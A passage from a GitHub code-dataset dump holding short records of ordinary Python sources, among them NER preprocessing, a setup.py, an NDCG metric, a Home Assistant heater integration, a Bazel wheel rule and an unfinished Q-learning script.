position_ids\n src_src_mask = np.array(src_mask)[None, :].repeat(max_seq_length_src, axis=0)\n tgt_src_mask = np.array(src_mask)[None, :].repeat(max_seq_length_tgt, axis=0)\n src_tgt_mask = np.full((max_seq_length_src, max_seq_length_tgt), 0 if mask_padding_with_zero else 1)\n seq_ids = np.array(list(range(len(tgt_tokens_ids))))\n tgt_tgt_causal_mask = seq_ids[None, :].repeat(max_seq_length_tgt, axis=0) <= seq_ids[:, None].repeat(max_seq_length_tgt, axis=1)\n tgt_tgt_mask = tgt_mask * tgt_tgt_causal_mask\n src_mask_2d = np.concatenate((src_src_mask, src_tgt_mask), axis=1)\n tgt_mask_2d = np.concatenate((tgt_src_mask, tgt_tgt_mask), axis=1)\n input_mask = np.concatenate((src_mask_2d, tgt_mask_2d), axis=0)\n\n input_ids = src_tokens_ids + tgt_tokens_ids\n segment_ids = src_segment_ids + tgt_segment_ids\n position_ids = src_position_ids + tgt_position_ids\n\n # import ipdb; ipdb.set_trace()\n\n if ex_index < 1:\n logger.info(\"*** Example ***\")\n logger.info(\"docid: %d\", docid)\n logger.info(\"tokens: %s\", \" \".join([str(x) for x in tokens]))\n # logger.info(\"input_ids: %s\", \" \".join([str(x) for x in input_ids]))\n # logger.info(\"input_mask: %s\", \" \".join([str(x) for x in input_mask]))\n logger.info(\"segment_ids: %s\", \" \".join([str(x) for x in segment_ids]))\n logger.info(\"position_ids: %s\", \" \".join([str(x) for x in position_ids]))\n logger.info(\"label_ids: %s\", \" \".join([str(x) for x in label_ids]))\n\n features.append(\n InputFeatures(input_ids=input_ids, input_mask=input_mask, segment_ids=segment_ids, position_ids=position_ids, label_ids=label_ids, docid=docid)\n )\n # import ipdb; ipdb.set_trace()\n\n return features\n\n\ndef get_labels(path):\n if path:\n with open(path, \"r\") as f:\n labels = f.read().splitlines()\n if \"O\" not in labels:\n labels = [\"O\"] + labels\n return labels\n else:\n return [\"O\", \"B-MISC\", \"I-MISC\", \"B-PER\", \"I-PER\", \"B-ORG\", \"I-ORG\", \"B-LOC\", \"I-LOC\"]\n","repo_name":"xinyadu/grit_doc_event_entity","sub_path":"model_grit/utils_s_t.py","file_name":"utils_s_t.py","file_ext":"py","file_size_in_byte":10787,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"47"} +{"seq_id":"22544328943","text":"import pathlib\nfrom setuptools import setup\n\nHERE = pathlib.Path(__file__).parent\n\nREADME = (HERE / \"README.md\").read_text()\n\nsetup(\n name=\"flocpy\",\n version=\"0.1.dev\",\n description=\"Floc image processing tools\",\n long_description=README,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/Floc-Imaging-and-Image-Processing/flocpy\",\n author=\"Thomas Ashley\",\n author_email=\"tashley22@gmail.com\",\n license=\"MIT\",\n packages=[\"flocpy\"],\n include_package_data=True,\n install_requires=[\"scikit-image>=0.18.1\", \"numpy\", \"matplotlib\", \"pandas\",\n \"datetime\", \"tqdm\", \"joblib\", \"scipy\", \"statsmodels\"]\n)","repo_name":"Floc-Imaging-and-Image-Processing/flocpy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"41099983917","text":"import math\n\n\n# ver == 0 or 1\ndef compute_dcg_term(i, labels, ver=1):\n return labels[i - 1] / math.log2(i + 1) if ver == 0\\\n else ((1 << labels[i - 1]) - 1) / math.log2(i + 1)\n\n\n# Precondition: for each index i, scores[i] corresponds with labels[i]\ndef compute_ndcg(labels, scores):\n combined = sorted([(scores[i], labels[i]) for i in range(len(scores))], reverse=True)\n labels = [x[1] for x in combined]\n\n selver = 0\n\n dcg = sum([compute_dcg_term(i, labels, ver=selver) for i in range(1, len(labels) + 1, 1)])\n ideal_labels = sorted(labels, reverse=True)\n idcg = sum([compute_dcg_term(i, ideal_labels, ver=selver) for i in range(1, len(labels) + 1, 1)])\n\n return dcg / idcg\n\n\nif __name__ == \"__main__\":\n print(compute_ndcg([5, 4, 3, 2, 1, 0], [3, 2, 3, 0, 1, 2]))\n print(compute_ndcg([5, 3, 4, 0, 1, 2], [3, 3, 2, 2, 1, 0]))","repo_name":"utaresearch/claimbuster-spotter","sub_path":"adv_transformer/core/utils/compute_ndcg.py","file_name":"compute_ndcg.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"47"} +{"seq_id":"12991200215","text":"import tensorflow as tf\nimport numpy as np\n\ndef usage_vector(memory_retention_vector, prev_usage_vector, prev_write_vector):\n #the write vector should be the\n #same size as the usage vector in that dimension.\n vector_before_retention = (prev_usage_vector + prev_write_vector - tf.math.multiply(prev_usage_vector, prev_write_vector))\n memory_retention_vector = tf.transpose(memory_retention_vector)\n final_vector = tf.math.multiply(vector_before_retention, memory_retention_vector)\n final_vector = tf.transpose(final_vector)\n return final_vector\n #notes: essentially, the usage vector should always return a size of (n*1),\n #which is why the memory retention vector is always transposed, since its initially\n #it is of size (1*n). Final vector should return size of (n*1)\n","repo_name":"zankner/Dnc","sub_path":"models/dynamic_memory/usage_vector.py","file_name":"usage_vector.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"4623011029","text":"# Тут предполагается код модели\nfrom __future__ import annotations\nimport io\nfrom time import sleep\nfrom PIL import Image\nimport yaml\n\n# from image_downloader import start_image_downloads # поставить пакет и откоментировать\n\nfrom ac_model import ACLoaderDataset, ACModel\n\ndef get_predict_from_model(image_data: list[bytes]) -> list[tuple[int, float]]:\n images_list = [] # List of PIL Images\n for item in image_data:\n image = Image.open(io.BytesIO(item))\n images_list.append(image)\n\n # run model to predict (for images in dirs)\n\n # Прогнозирование по существующей моделе, Важно чтобы size_img был точно таким же как и при обучении\n load_ac_model = ACModel(size_img=200, check_gpu=False)\n # load_ac_model = ACModel(size_img=200, batch_size = 10, num_epochs=1, check_gpu=False, num_workers=0)\n load_ac_model.load_model()\n detected_files = load_ac_model.predict_imagefiles()\n # print(detected_files)\n\n return detected_files # return class index and confidence\n\ndef model_fit(keyword:str):\n # Загрузка нового класса изображений\n ac_loader = ACLoaderDataset(size_img=128, batch_size=10, num_workers=0, use_gpu=False)\n path_load = ac_loader.add_new_class(classname=keyword, num=25)\n\n # При добавлении нового класса делается автоматом\n # Подразумевается что в каталоге dataset/train расположены тернировочные датасеты\n # Но для моедли надо отдельно выделить валидационные данные\n # Формирвоание Валидацинных данных. Если в dataset/val нет каталога, который есть в dataset/train,\n # то производим добавление соответсвтующего класса и переносим часть данных как валидационных\n # ac_loader = ACLoaderDataset(size_img=200, use_gpu=False)\n # ac_loader.create_val_dataset(val_size=0.1)\n\n # Начальное формирование модели по тем классам по которым есть данные\n ac_model = ACModel(size_img=128, batch_size=10, num_epochs=1, check_gpu=False, num_workers=0)\n # Модель формируется на основе предобученной ResNet50 но уже с новыми данными\n ac_model.new_model()\n # Сохраняем модель + сохраняем классы по которым считались\n ac_model.save_model()\n\ndef start_train_config():\n with open('./config.yaml', 'r') as f:\n config = yaml.safe_load(f)\n config['model_status'] = 'waiting'\n with open('./config.yaml', 'w') as f:\n yaml.dump(config, f)\n\ndef end_train_config():\n with open('./config.yaml', 'r') as f:\n config = yaml.safe_load(f)\n config['model_status'] = 'fitted'\n with open('./config.yaml', 'w') as f:\n yaml.dump(config, f)\n\ndef start_training(keyword: str):\n start_train_config()\n # start_image_downloads(keyword, './downloaded_images')\n\n model_fit(keyword) # запускаем дообучение модели\n end_train_config()","repo_name":"AvanpostHack/AvanpostHack","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"24393429560","text":"# title.py - Manage title bar\nimport platform\n\n\ndef print_title(app_name, description, version, year,\n author, license_name, enable_color=True):\n if platform.system() == 'Windows':\n from colorama import init\n init()\n print(FormatTitle(app_name, description, version, enable_color))\n print(FormatCopyright(year, author, license_name, enable_color))\n\n\ndef FormatTitle(strAppName, strAppDescription, strVersion, blnColor):\n NoneColored = \"{} - {} Version {}\\n\"\n Colored = \"\\033[1;33m{}\\033[0;33m - {} \\033[1;33mVersion {}\\033[0m\"\n strFormat = Colored if blnColor else NoneColored\n return strFormat.format(strAppName, strAppDescription, strVersion)\n\n\ndef FormatCopyright(strAppYear, strCopyright, strLicense, blnColor):\n NoneColored = \"Copyright (c) {} {}, Licensed under {}\\n\\n\"\n Colored = (\"\\033[0;33mCopyright (c) \\033[1;33m{} \\033[1;34m{}\" +\n \"\\033[0;33m, Licensed under \\033[1;33m{}\\033[0m\\n\")\n strFormat = Colored if blnColor else NoneColored\n return strFormat.format(strAppYear, strCopyright, strLicense)\n","repo_name":"ArdeshirV/py-create-calendar-notes","sub_path":"title.py","file_name":"title.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"17933214272","text":"# %%\nfrom IPython import get_ipython\n\nif get_ipython() is not None:\n get_ipython().run_line_magic(\"load_ext\", \"autoreload\")\n get_ipython().run_line_magic(\"autoreload\", \"2\")\n\nfrom centraljersey import config\nfrom centraljersey.data import census as censusload\nfrom centraljersey.data import dialects as diaload\nfrom centraljersey.data import foursquare as fsload\nfrom centraljersey.data import njdotcom as njdotload\n\nsecrets = config.setup()\n\n# %%\ncensus = censusload.Load(\n endpoint=\"https://api.census.gov/data/2020/acs/acs5\",\n state_code=\"34\", # New Jersey's FIPS code\n tract_code=\"*\", # All census tracts\n)\ncensus.nj_data\n\n# %%\ndialects = diaload.Load()\ndialects.gone\ndialects.calm\ndialects.forward\ndialects.draw\n\n# %%\nnjdotcom = njdotload.Njdotcom()\nnjdotcom.nfl\nnjdotcom.pork\n\n# %%\n# fsdownload = fsload.FoursquareDownload(secrets=secrets, company=\"dunkin\")\n# fsdownload.save()\n\n# %%\nfsq = fsload.FoursquareProcess()\nfsq.df_dunkins_county\nfsq.df_dunkins_tract\nfsq.df_wawa_county\nfsq.df_wawa_tract\n\n# %%\n","repo_name":"chansooligans/centraljersey","sub_path":"scripts/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18971242228","text":"import torch\nfrom torch import nn\nimport numpy as np\n\nclass Controller(nn.Module):\n def __init__(self, input_dim, hidden_dims, output_dim, activation):\n super().__init__()\n self.num_layers = len(hidden_dims)+1\n h1d, h2d = hidden_dims\n #enforces order on parameters\n self.layers = nn.ModuleList([\n nn.Linear(input_dim, h1d),\n nn.Linear(h1d, h2d),\n nn.Linear(h2d, output_dim),\n ])\n if activation == 'tanh':\n act_list = [nn.Tanh()] * self.num_layers\n if activation == 'none':\n act_list = [nn.Identity()] * self.num_layers\n self.activations = nn.ModuleList(act_list)\n \n def forward(self, x):\n for i in range(self.num_layers):\n x = self.activations[i](self.layers[i](x))\n return x\n #return self.model(x)\n\n def flat_parameters(self):\n return np.concatenate([p.flatten().detach().numpy() for p in self.parameters()])\n\n def set_parameters(self, params):\n \"\"\"\n Transform flat parameters from ES to dictionary form and load into controller\n\n Args: \n params: parameters as a single (D,) np array \n \"\"\"\n current_idx = 0\n with torch.no_grad():\n for param in self.parameters():\n param.copy_(torch.Tensor(params[current_idx:current_idx+param.nelement()].reshape(param.shape)))\n current_idx += param.nelement()\n\nif __name__ == \"__main__\":\n ctrl = Controller(8, [64,32], 28, 'tanh')\n test = np.random.normal(size=ctrl.flat_parameters().size)\n ctrl.set_parameters(test)\n assert np.allclose(test, ctrl.flat_parameters())\n ","repo_name":"ProxyCausal/portfolio","sub_path":"RL/ES/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"32286618558","text":"origin = input()\nN = origin\ncnt = 0\n\nwhile True: \n if int(N) < 10:\n N = \"0\" + str(int(N))\n \n temp = int(N[0]) + int(N[1])\n \n N = N[1] + str(temp%10)\n\n cnt += 1\n if int(origin) == int(N):\n break\n\nprint(cnt)","repo_name":"PowerSH/CodingTest","sub_path":"Baekjoon/Level04/1110.py","file_name":"1110.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18697889952","text":"n,m=map(int,input().split())\nrow=set()\ncol=set()\nans=0\nfor i in range(n):\n s=input()\n for j in range(m):\n if s[j]=='S':\n row.add(i)\n col.add(j)\nans=n*m\nx=len(row)*len(col)\n\nprint(ans-x)\n \n","repo_name":"aadiupadhyay/CodeForces","sub_path":"codeforces/330/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"3496126841","text":"class Solution:\n def sortArrayByParity(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: List[int]\n \"\"\"\n ret = []\n for elem in A:\n if elem % 2 == 0:\n ret.insert(0, elem)\n else:\n ret.append(elem)\n return ret\n\nif __name__ == \"__main__\":\n s = Solution()\n A = [3,1,2,4]\n print(s.sortArrayByParity(A))\n\n","repo_name":"jeezcoder/LeetCode_Python","sub_path":"src/SortArrayByParity_905.py","file_name":"SortArrayByParity_905.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10391829003","text":"#lt, rt는 리스트에서 왼쪽 맨끝, 오른쪽 맨끝의 인덱스를 표시하는 포인터 변수\n#lt가 rt보다 커지면 반복 멈춤\n#last는 수열의 마지막 값(가장 최근에 들어온 값)으로 li[lt], li[rt]는 last보다 커야 함\n#tmp에 (값, 왼오정보)를 넣어 값에 의해 정렬한 후 첫번째 값(더 작은 값)을 수열에 추가하고 last값 변경\n#tmp에 아무것도 없는 경우는 왼쪽, 오른쪽 값 모두 수열을 만들 수 없는 것므로 break\n#수열에 값을 추가할 때 왼쪽인 경우 lt에 1을 더해 다른 값을 가리키게 함(오른쪽인 경우 rt에서 1을 빼기)\n#값이 하나만 남고(lt == rt) 수열에 추가할 수 있는 경우에도 tmp에 넣고 정렬하면 L이 먼저 나오므로 문제 없음\nimport sys\n# sys.stdin = open(\"input.txt\", \"r\")\nn = int(input())\nli = list(map(int, input().split()))\nlt = 0\nrt = n-1\nres = ''\nlast = 0\ntmp = []\nwhile lt <= rt:\n if li[lt] > last:\n tmp.append((li[lt], 'L'))\n if li[rt] > last:\n tmp.append((li[rt], 'R'))\n tmp.sort()\n if len(tmp) == 0:\n break\n else:\n res += tmp[0][1]\n if tmp[0][1] == 'L':\n lt += 1\n else:\n rt -= 1\n last = tmp[0][0]\n tmp.clear()\nprint(len(res))\nprint(res)\n","repo_name":"je488/Algorithm-Study","sub_path":"그리디_증가수열.py","file_name":"그리디_증가수열.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15028433905","text":"import torch\nimport numpy as np\nimport torch.nn as nn\nimport ark\nimport unittest\n\nd_model = 512\nd_ff = 2048\n\nbatch_size = 1\nseq_len = 64\n\nimport ark\n\n\ndef convert_state_dict(state_dict: dict, type=\"numpy\"):\n \"\"\"\n Convert the state_dict of a module to np.ndarray or torch.Tensor type\n \"\"\"\n new_state_dict = {}\n for key in state_dict:\n if type == \"torch\":\n new_state_dict[key] = torch.from_numpy(state_dict[key])\n elif type == \"numpy\":\n new_state_dict[key] = state_dict[key].numpy()\n return new_state_dict\n\n\nclass TestModelARK(ark.Module):\n def __init__(self):\n super(TestModelARK, self).__init__()\n self.weight_1 = ark.parameter([d_model, d_ff], ark.fp16)\n self.weight_2 = ark.parameter([d_ff, d_model], ark.fp16)\n\n def forward(self, inputs):\n output = ark.matmul(inputs, self.weight_1)\n output = ark.relu(output)\n output = ark.matmul(output, self.weight_2)\n output = ark.add(output, inputs)\n output = ark.layernorm(output)\n return output\n\n\nclass TestModel(nn.Module):\n def __init__(self):\n super(TestModel, self).__init__()\n self.weight_1 = nn.Parameter(torch.FloatTensor(d_model, d_ff))\n self.weight_2 = nn.Parameter(torch.FloatTensor(d_ff, d_model))\n\n # inputs: [batch_size, seq_len, d_model]\n def forward(self, inputs):\n output = torch.matmul(\n inputs, self.weight_1\n ) # [batch_size, seq_len, d_ff]\n output = nn.ReLU()(output)\n output = torch.matmul(\n output, self.weight_2\n ) # [batch_size, seq_len, d_model]\n output = nn.LayerNorm(d_model)(\n output + inputs\n ) # [batch_size, seq_len, d_model]\n return output\n\n\ndef test_TestModel():\n runtime = ark.Runtime()\n\n input_tensor = ark.tensor(\n ark.Dims(batch_size, seq_len, d_model), ark.TensorType.FP16\n )\n ark_model = TestModelARK()\n output_tensor = ark_model(input_tensor)\n # Test the mul method\n\n runtime.launch()\n\n input_tensor_host = (\n (np.random.rand(batch_size, seq_len, d_model) - 0.5) * 0.1\n ).astype(np.float16)\n\n input_tensor.from_numpy(input_tensor_host)\n\n weight_1_host = ((np.random.rand(d_model, d_ff) - 0.5) * 0.1).astype(\n np.float16\n )\n weight_2_host = ((np.random.rand(d_ff, d_model) - 0.5) * 0.1).astype(\n np.float16\n )\n state_dict = {\"weight_1\": weight_1_host, \"weight_2\": weight_2_host}\n\n ark_model.load_state_dict(state_dict)\n runtime.run()\n\n output_tensor_host = output_tensor.to_numpy()\n\n input_tensor_host_float32 = input_tensor_host.astype(np.float32)\n\n torch_input = torch.from_numpy(input_tensor_host_float32)\n\n torch_model = TestModel()\n\n torch_model.load_state_dict(convert_state_dict(state_dict, \"torch\"))\n\n gt = torch_model(torch_input).detach().numpy().astype(np.float16)\n\n # test if the result is correct\n max_error = np.max(np.abs(output_tensor_host - gt))\n avg_error = np.mean(np.abs(output_tensor_host - gt))\n ark_state_dict = ark_model.state_dict()\n for k, v in state_dict.items():\n np.testing.assert_allclose(v, ark_state_dict[k])\n # print(input_tensor_host)\n # print(output_tensor_host)\n # print(gt)\n print(\n f\"ARK module test batch_size: {batch_size} seq_len: {seq_len} \"\n f\"d_model: {d_model} d_ff: {d_ff} max error: {max_error} \"\n f\"avg error: {avg_error}\"\n )\n\n\nclass TestAPI(unittest.TestCase):\n def test_api(self):\n test_TestModel()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"microsoft/ark","sub_path":"python/unittest/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"47"} +{"seq_id":"73010356622","text":"def main():\n fileName = input(\"Enter File Name to Read from \")\n myList = fillListFromFile(fileName)\n toFind = int(input(\"Select a Number to Find from the List \"))\n print(findMax(myList))\n print(findMin(myList))\n print(calcRange(myList))\n print(calcAverage(myList))\n print(calcGeometicMean(myList))\n print(findFirst(myList, toFind))\n print(findLast(myList, toFind))\n print(findClosestValue(myList, toFind))\n print(calcCount(myList, toFind))\n print(isInList(myList, toFind))\ndef fillListFromFile(fileName):\n fileData = open(fileName, \"r\")\n myList = []\n for line in fileData:\n value = int(line.strip())\n myList.append(value)\n return myList\ndef findMax(myList):\n maxNum = 0\n for num in myList:\n if num > maxNum:\n maxNum = num\n return maxNum\ndef findMin(myList):\n minNum = 10000\n for num in myList:\n if num < minNum:\n minNum = num\n return minNum\ndef calcRange(myList):\n return (findMax(myList) - findMin(myList))\ndef calcAverage(myList):\n average = 0\n x = 0\n for num in myList:\n average += num\n x += 1\n return (average / x)\ndef calcGeometicMean(myList):\n geoMean = 1\n n = 0\n for num in myList:\n geoMean *= num\n n += 1\n return geoMean**(1/n)\ndef findFirst(myList, valueToFind):\n x = -1\n firstIndex = x\n for num in myList:\n x += 1\n if num == valueToFind:\n firstIndex = x\n return firstIndex\n return firstIndex\ndef findLast(myList, valueToFind):\n x = -1\n lastIndex = x\n for num in myList:\n x += 1\n if num == valueToFind:\n lastIndex = x\n return lastIndex \ndef findClosestValue(myList, valueToFind):\n benchmark = 10000\n for num in myList:\n closeTo0 = abs(valueToFind - num)\n if closeTo0 < benchmark:\n benchmark = closeTo0\n marker = num\n return marker\ndef calcCount(myList, valueToFind):\n count = 0\n for num in myList:\n if num == valueToFind:\n count += 1\n return count\ndef isInList(myList, valueToFind):\n for num in myList:\n if num == valueToFind:\n return True\n return False\nmain()","repo_name":"JimGringo/Class-Files","sub_path":"prog 8.py","file_name":"prog 8.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25360169765","text":"\"\"\"The Ökofen Pellematic Compact Integration.\"\"\"\nimport asyncio\nimport logging\nimport threading\nfrom datetime import timedelta\nfrom typing import Optional\nimport json\nimport urllib\n\nimport voluptuous as vol\n\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import CONF_NAME, CONF_HOST, CONF_SCAN_INTERVAL\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.core import callback\nfrom homeassistant.helpers.event import async_track_time_interval\nfrom .const import (\n DEFAULT_HOST,\n DOMAIN,\n DEFAULT_NAME,\n DEFAULT_SCAN_INTERVAL,\n)\n\n_LOGGER = logging.getLogger(__name__)\n\nPELLEMATIC_SCHEMA = vol.Schema(\n {\n vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,\n vol.Optional(CONF_HOST, default=DEFAULT_HOST): cv.string,\n vol.Optional(\n CONF_SCAN_INTERVAL, default=DEFAULT_SCAN_INTERVAL\n ): cv.positive_int,\n }\n)\n\nCONFIG_SCHEMA = vol.Schema(\n {DOMAIN: vol.Schema({cv.slug: PELLEMATIC_SCHEMA})}, extra=vol.ALLOW_EXTRA\n)\n\nPLATFORMS = [\"sensor\"]\n\n\nasync def async_setup(hass: HomeAssistant, config):\n \"\"\"Set up the Ökofen Pellematic component.\"\"\"\n hass.data[DOMAIN] = {}\n return True\n\n\nasync def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry):\n \"\"\"Set up a Ökofen Pellematic Component.\"\"\"\n host = entry.data[CONF_HOST]\n name = entry.data[CONF_NAME]\n scan_interval = entry.data[CONF_SCAN_INTERVAL]\n\n _LOGGER.debug(\"Setup Pellematic Hub %s, %s\", DOMAIN, name)\n\n hub = PellematicHub(hass, name, host, scan_interval)\n\n # Register the hub.\n hass.data[DOMAIN][name] = {\"hub\": hub}\n\n for component in PLATFORMS:\n hass.async_create_task(\n hass.config_entries.async_forward_entry_setup(entry, component)\n )\n return True\n\n\nasync def async_unload_entry(hass: HomeAssistant, entry):\n \"\"\"Unload Pellematic entry.\"\"\"\n unload_ok = all(\n await asyncio.gather(\n *[\n hass.config_entries.async_forward_entry_unload(entry, component)\n for component in PLATFORMS\n ]\n )\n )\n if not unload_ok:\n return False\n\n hass.data[DOMAIN].pop(entry.data[\"name\"])\n return True\n\n\nclass PellematicHub:\n \"\"\"Thread safe wrapper class.\"\"\"\n\n def __init__(\n self,\n hass: HomeAssistant,\n name,\n host,\n scan_interval,\n ) -> None:\n \"\"\"Initialize the hub.\"\"\"\n self._hass = hass\n self._host = host\n self._lock = threading.Lock()\n self._name = name\n self._scan_interval = timedelta(seconds=scan_interval)\n self._unsub_interval_method = None\n self._sensors = []\n self.data = {}\n\n @callback\n def async_add_pellematic_sensor(self, update_callback):\n \"\"\"Listen for data updates.\"\"\"\n # This is the first sensor, set up interval.\n if not self._sensors:\n self._unsub_interval_method = async_track_time_interval(\n self._hass, self.async_refresh_api_data, self._scan_interval\n )\n\n self._sensors.append(update_callback)\n\n @callback\n def async_remove_pellematic_sensor(self, update_callback):\n \"\"\"Remove data update.\"\"\"\n self._sensors.remove(update_callback)\n\n if not self._sensors:\n # stop the interval timer upon removal of last sensor.\n self._unsub_interval_method()\n self._unsub_interval_method = None\n\n async def async_refresh_api_data(self, _now: Optional[int] = None) -> None:\n \"\"\"Time to update.\"\"\"\n if not self._sensors:\n return\n\n try:\n update_result = await self.fetch_pellematic_data()\n except Exception as e:\n _LOGGER.exception(\"Error reading pellematic data\")\n update_result = False\n\n if update_result:\n for update_callback in self._sensors:\n update_callback()\n\n @property\n def name(self):\n \"\"\"Return the name of this hub.\"\"\"\n return self._name\n\n async def fetch_pellematic_data(self):\n \"\"\"Get data from api\"\"\"\n result = await self._hass.async_add_executor_job(fetch_data, self._host)\n self.data = result\n return True\n\n\ndef fetch_data(url: str):\n \"\"\"Get data\"\"\"\n # _LOGGER.debug(\"Fetching pellematic datas with REST API\")\n\n req = urllib.request.Request(url)\n response = None\n str_response = None\n try:\n response = urllib.request.urlopen(\n req, timeout=3\n ) # okofen api recommanded timeout is 2,5s\n str_response = response.read().decode(\"iso-8859-1\", \"ignore\")\n finally:\n if response is not None:\n response.close()\n\n # Hotfix for pellematic update 4.02 (invalid json)\n str_response = str_response.replace(\"L_statetext:\", 'L_statetext\":')\n result = json.loads(str_response)\n return result\n","repo_name":"dominikamann/oekofen-pellematic-compact","sub_path":"custom_components/oekofen_pellematic_compact/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4945,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"47"} +{"seq_id":"73316976783","text":"\"Represent a python wheel file\"\n\nload(\"@bazel_skylib//lib:types.bzl\", \"types\")\nload(\"//py/private:providers.bzl\", \"PyWheelInfo\")\n\n_attrs = {\n \"src\": attr.label(\n doc = \"The Wheel file, as defined by https://packaging.python.org/en/latest/specifications/binary-distribution-format/#binary-distribution-format\",\n allow_single_file = [\".whl\"],\n ),\n}\n\ndef _make_py_wheel_info(ctx, wheel_filegroups):\n if not types.is_list(wheel_filegroups):\n filegroups = [wheel_filegroups]\n else:\n filegroups = wheel_filegroups\n\n files_depsets = []\n runfiles = []\n for filegroup in filegroups:\n # The ordering is important here as we want to ensure we use the PyWheelInfo from transitive\n # py_library dependencies, and only fall back to DefaultInfo when translating from the wheel\n # filegroup to py_wheel_library\n if PyWheelInfo in filegroup:\n files_depsets.append(filegroup[PyWheelInfo].files)\n runfiles.append(filegroup[PyWheelInfo].default_runfiles)\n elif DefaultInfo in filegroup and not PyInfo in filegroup:\n # This is slightly incorrect, but we don't yet have a better way of knowing if the dependency is a filegroup\n # that we should consume a wheel from.\n # What we do know though is we must ignore other py_library dependencies from rules_python, so exclude anything\n # that provides the PyInfo provider.\n files_depsets.append(filegroup[DefaultInfo].files)\n files_depsets.append(filegroup[DefaultInfo].default_runfiles.files)\n runfiles.append(filegroup[DefaultInfo].default_runfiles)\n\n py_info_runfiles = ctx.runfiles()\n py_info_runfiles = py_info_runfiles.merge_all(runfiles)\n\n return PyWheelInfo(\n files = depset(transitive = files_depsets),\n default_runfiles = py_info_runfiles,\n )\n\ndef _py_wheel_impl(ctx):\n py_wheel_info = _make_py_wheel_info(ctx, ctx.attr.src)\n return [\n py_wheel_info,\n ]\n\npy_wheel_lib = struct(\n implementation = _py_wheel_impl,\n attrs = _attrs,\n provides = [PyWheelInfo],\n make_py_wheel_info = _make_py_wheel_info,\n)\n","repo_name":"aspect-build/rules_py","sub_path":"py/private/py_wheel.bzl","file_name":"py_wheel.bzl","file_ext":"bzl","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"47"} +{"seq_id":"6523807980","text":"''''''\n\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport copy\n\n\nSTATE_A = 0 # 起始状态 A\nSTATE_B = 1 # 起始状态 B\nSTATE_TERMINAL = 2 # 结束状态（包括了A右和B左两个结束状态）\n\nEPSILON = 0.1\nALPHA = 0.1 # step size\nGAMMA = 1.0 # discount for max value\n\n# 定义 A的动作，向左或向右\nACTION_A_RIGHT = 0\nACTION_A_LEFT = 1\n# 定义 B的动作, 全部向左，但有10个动作可选\nACTIONS_B = range(0, 10)\nACTIONS = [[ACTION_A_RIGHT, ACTION_A_LEFT], ACTIONS_B] # all possible actions [[0, 1], range(0, 10)]\n\nINITIAL_Q = [np.zeros(2), np.zeros(len(ACTIONS_B)), np.zeros(1)] # 初始化动作值函数Q [array([ 0., 0.]), array([ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.]), array([ 0.])] 可以看出到达终止状态的时候，还是有(s,a)存在，(s,a)中存q\nTRANSITION = [[STATE_TERMINAL, STATE_B], [STATE_TERMINAL] * len(ACTIONS_B)] # # 设置状态转换矩阵 [[2, 1], [2, 2, 2, 2, 2, 2, 2, 2, 2, 2]] 设定从一开始只能往一个方向走到底\n\n# 基于ε-贪婪策略（行为策略）选择动作\ndef policy(s, Q):\n if np.random.binomial(1, EPSILON) == 1: # 随机选择动作\n a = np.random.choice(ACTIONS[s])\n else:\n best_a = [a for a, q in enumerate(Q[s]) if q == np.max(Q[s])]\n a = np.random.choice(best_a)\n return a\n\n# take action in state, return the reward\ndef step(state, action):\n if state == STATE_A:\n return 0\n else:\n return np.random.normal(-0.1, 1) # 服从正态分布（-0.1,1）的奖励\n\n# if there are two state action pair value array, use double Q-Learning, otherwise use normal Q-Learning\ndef q_learning(Q1, Q2=None):\n s = STATE_A # 初始化状态\n\n left_count = 0 # 只记录从A向左走的次数\n while s != STATE_TERMINAL:\n if Q2 is None: # Q-learning\n a = policy(s, Q1)\n # print(a)\n else:\n Q_integrate =[item1 + item2 for item1, item2 in zip(Q1, Q2)] # 